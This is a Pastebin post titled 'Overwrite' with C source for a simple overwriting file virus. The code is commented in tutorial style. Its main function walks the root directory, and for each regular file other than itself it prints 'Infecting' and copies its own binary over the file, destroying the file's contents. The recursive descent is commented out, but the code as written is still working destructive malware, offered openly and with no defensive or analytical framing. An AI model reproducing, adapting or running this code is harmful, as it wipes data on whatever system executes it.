Advertisement
bloodplanet

Overwrite

Mar 29th, 2016
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.05 KB | None | 0 0
  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. #include<sys/types.h>
  4. #include<string.h>
  5. #include<errno.h>
  6. //readdir is defined here
  7. #include <dirent.h>
  8. //limit.h defines path_max
  9. #include<limits.h>
  10.  
  11. int infectFile (char *virus, char *victim)
  12. {
  13.     //Pointer to our file and file
  14.     //needed to write
  15.     FILE *fpV, *fpVictim;
  16.  
  17.     //Open our file for reading
  18.     fpV =  fopen(virus,"rb");
  19.  
  20.     if (fpV==NULL)
  21.     {
  22.         perror("Open test file");
  23.         fclose(fpV);
  24.         return 0;
  25.     }
  26.  
  27.     //Open victim file for writing
  28.     fpVictim = fopen(victim,"wb");
  29.     if(fpVictim==NULL)
  30.     {
  31.         perror("Open target file");
  32.         fclose(fpVictim);
  33.         return 0;
  34.     }
  35.  
  36.     int c;
  37.     c = fgetc(fpV);//Read from file
  38.     while(c!=EOF)//read until end
  39.     {
  40.         fputc(c, fpVictim);//write to file
  41.         c = fgetc(fpV);//get next char
  42.     }
  43.  
  44.     //remember to close our streams
  45.     fclose(fpV);
  46.     fclose(fpVictim);
  47.  
  48.     return 0;
  49. }
  50. //List the file in dir_name
  51. //Static in functions mean that only the
  52. //functions inside the same file can see
  53. //and use it
  54. static void list_dir(const char *dir_name,
  55.                      char *self)
  56. {
  57.     //Dir* is similar to file* except it is
  58.     //a directory stream instead of a file
  59.     //stream
  60.     DIR * d;
  61.  
  62.     //open the directory specified by "dir_name"
  63.     //dir_name is the string of the base
  64.     //directory we want to access and it is a
  65.     //parameter passed from main
  66.     d = opendir(dir_name);
  67.  
  68.     //check it was opened
  69.     if(!d)
  70.     {
  71.         fprintf(stderr, "Cannot open directory '%s': %s\n",
  72.                 dir_name, strerror(errno));
  73.         exit(EXIT_FAILURE);
  74.     }
  75.     while(1)
  76.     {
  77.         //here is our dirent struct given the
  78.         //variable name "entry" and it holds the
  79.         //information of the file/folder it has
  80.         //queried such as type (file, directory, etc.)
  81.         //and the name
  82.         struct dirent * entry;
  83.  
  84.         //d_name is a variable to store the name of
  85.         //the file for some convenience otherwise we
  86.         //would constantly need to refer to the
  87.         //struct to access the name member
  88.  
  89.         const char * d_name;
  90.  
  91.         //"Readdir" gets subsequent entries from "d".
  92.         char fileName[PATH_MAX];
  93.         int fileNameLength;
  94.  
  95.         entry = readdir(d);
  96.         if(!entry)
  97.         {
  98.             //there are no more entries in this
  99.             //directory, so break out of the
  100.             //while loop
  101.             break;
  102.         }
  103.         d_name = entry->d_name;
  104.  
  105.         fileNameLength = snprintf(fileName, PATH_MAX,
  106.                                    "%s/%s",dir_name,
  107.                                    d_name);
  108.  
  109.             //error checking to see if path is
  110.             //too large to fit
  111.         if (fileNameLength >= PATH_MAX)
  112.         {
  113.             fprintf(stderr,
  114.                     "Path length has got too long.\n");
  115.             exit(EXIT_FAILURE);
  116.         }
  117.             //If the entry is not a directory
  118.             //we'll attempt to infect it
  119.         if(entry->d_type != DT_DIR)
  120.         {
  121.             //we need to check to not
  122.             //infect our own file otherwise
  123.             //an error would occur
  124.             if (strstr(fileName,self+2)==NULL)
  125.             {
  126.                 printf("Infecting: %s\n",fileName);
  127.                 infectFile(self, fileName);
  128.             }
  129.             //closedir(d);
  130.             //list_dir(path,self);
  131.         }
  132.         //list_dir(path,self);
  133.             //Recursively call "list_dir" with the
  134.             //new path
  135.     }
  136.     //list_dir(path,self);
  137.     //After going through all the entries, close
  138.     //the directory
  139.     //similar to closing the file stream with
  140.     //FILE * with error checking
  141.  
  142.     if (closedir (d))
  143.     {
  144.         fprintf(stderr,
  145.                 "Could not close '%s': %s\n",
  146.                 dir_name, strerror(errno));
  147.         exit(EXIT_FAILURE);
  148.     }
  149. }
  150.  
  151. int main(int argc, char *argv[])
  152. {
  153.     //call a recursive function with
  154.     //the base directory
  155.     list_dir("/",argv[0]);
  156.     return 0;
  157. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement